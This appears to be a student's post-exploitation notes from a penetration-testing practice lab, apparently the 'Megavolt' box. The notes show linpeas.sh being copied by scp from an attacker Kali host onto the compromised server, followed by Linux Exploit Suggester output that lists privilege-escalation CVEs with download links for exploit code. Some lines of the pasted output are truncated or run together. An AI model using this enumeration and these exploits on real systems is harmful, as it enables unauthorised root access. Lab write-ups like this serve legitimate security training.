PEAS
Conducting an automated enumeration after performing a manual enumeration
bash-4.2$ scp kali@192.168.45.192:/home/kali/PEN-200/PG_PRACTICE/megavolt/linpeas.sh /var/tmp/linpeas.sh
Could not create directory '/usr/share/httpd/.ssh'.
The authenticity of host '192.168.45.192 (192.168.45.192)' can't be established.
ECDSA key fingerprint is SHA256:j/MDiRpw1W/l8twiQiqtSsP4xEOlNkCKHsjsVaVnnTM.
ECDSA key fingerprint is MD5:33:82:15:13:a3:22:e1:47:21:0a:e3:89:b6:32:a4:35.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/usr/share/httpd/.ssh/known_hosts).
kali@192.168.45.192's password:
linpeas.sh 100% 820KB 3.0MB/s 00:00 Delivery complete over SSH
/Practice/Megavolt/4-Post_Enumeration/attachments/{59B0AC83-F556-490D-9ABD-71AE34349E25}.png)
Executing PEAS
CVEs
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},[ RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7} ],ubuntu=16.04|14.04|12.04
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,[ RHEL=5|6|7 ],ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2017-1000253] PIE_stack_corruption
Details: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt
Exposure: probable
Tags: RHEL=6,[ RHEL=7 ]{kernel:3.10.0-514.21.2|3.10.0-514.26.1}
Download URL: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-4034] PwnKit
ualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: less probable
Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2018-1000001] RationalLove
ls: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
Exposure: less probable
Tags: debian=9{libc6:2.24-11+deb9u1},ubuntu=16.04.3{libc6:2.23-0ubuntu9}
Download URL: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c
Comments: kernel.unprivileged_userns_clone=1 required
[+] [CVE-2017-7308] af_packet
Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels
[+] [CVE-2017-6074] dccp
Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
Exposure: less probable
Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic}
Download URL: https://www.exploit-db.com/download/41458
Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass
[+] [CVE-2017-1000366,CVE-2017-1000379] linux_ldso_hwcap_64
Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
Exposure: less probable
Tags: debian=7.7|8.5|9.0,ubuntu=14.04.2|16.04.2|17.04,fedora=22|25,centos=7.3.1611
Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap_64.c
Comments: Uses "Stack Clash" technique, works against most SUID-root binaries
[+] [CVE-2016-2384] usb-midi
Details: https://xairy.github.io/blog/2016/cve-2016-2384
Exposure: less probable
Tags: ubuntu=14.04,fedora=22
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
SB device and to execute a malicious binary as a non-privileged user
[+] [CVE-2015-9322] BadIRET
Details: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
Exposure: less probable
Tags: RHEL<=7,fedora=20
Download URL: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz
[+] [CVE-2015-8660] overlayfs (ovl_setattr)
Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
Exposure: less probable
Tags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic}
Download URL: https://www.exploit-db.com/download/39166
[+] [CVE-2015-8660] overlayfs (ovl_setattr)
Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/39230
[+] [CVE-2015-3246] userhelper
Details: https://www.qualys.com/2015/07/23/cve-2015-3245-cve-2015-3246/cve-2015-3245-cve-2015-3246.txt
Exposure: less probable
Tags: RHEL=6{libuser:0.56.13-(4|5).el6},RHEL=6{libuser:0.60-5.el7},fedora=13|19|20|21|22
Download URL: https://www.exploit-db.com/download/37706
Comments: RHEL 5 is also vulnerable, but installed version of glibc (2.5) lacks functions needed by roothelper.c
[+] [CVE-2015-3202] fuse (fusermount)
Details: http://seclists.org/oss-sec/2015/q2/520
Exposure: less probable
Tags: debian=7.0|8.0,ubuntu=*
Download URL: https://www.exploit-db.com/download/37089
Comments: Needs cron or system admin interaction
[+] [CVE-2014-5207] fuse_suid
Details: https://www.exploit-db.com/exploits/34923/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/34923
[+] [CVE-2014-4014] inode_capable
/2014/06/10/4ttp://www.openwall.com/lists/oss-security
Exposure: less probable
Tags: ubuntu=12.04
Download URL: https://www.exploit-db.com/download/33824
[+] [CVE-2014-0196] rawmodePTY
Details: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html
Exposure: less probable
Download URL: https://www.exploit-db.com/download/33516
[+] [CVE-2016-0728] keyring
Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/40003
Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-workingAlfred’s Firefox
/Practice/Megavolt/4-Post_Enumeration/attachments/Pasted-image-20250312232721.png)
Network
/Practice/Megavolt/4-Post_Enumeration/attachments/{AE6D7D15-CCEB-4980-B0F7-C68B27CCE5F0}.png)
/Practice/Megavolt/4-Post_Enumeration/attachments/{FA4AA8B0-C203-4F32-B04F-B21AC549ED25}.png)
sudo privileges (apache)
/Practice/Megavolt/4-Post_Enumeration/attachments/{6D0D1850-8CD4-47B5-966B-26464AF3C744}.png)
Already enumerated
Installed Programs
/Practice/Megavolt/4-Post_Enumeration/attachments/{3871B9CE-8677-4EDF-B96F-E17A315AD04E}.png)
No local compiler available
SSH
/Practice/Megavolt/4-Post_Enumeration/attachments/{74836802-968D-4678-8544-B4CDAC0A823B}.png)
Interesting Files
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/Practice/Megavolt/4-Post_Enumeration/attachments/{874DE479-B66B-4116-B25E-17883B2DF770}.png)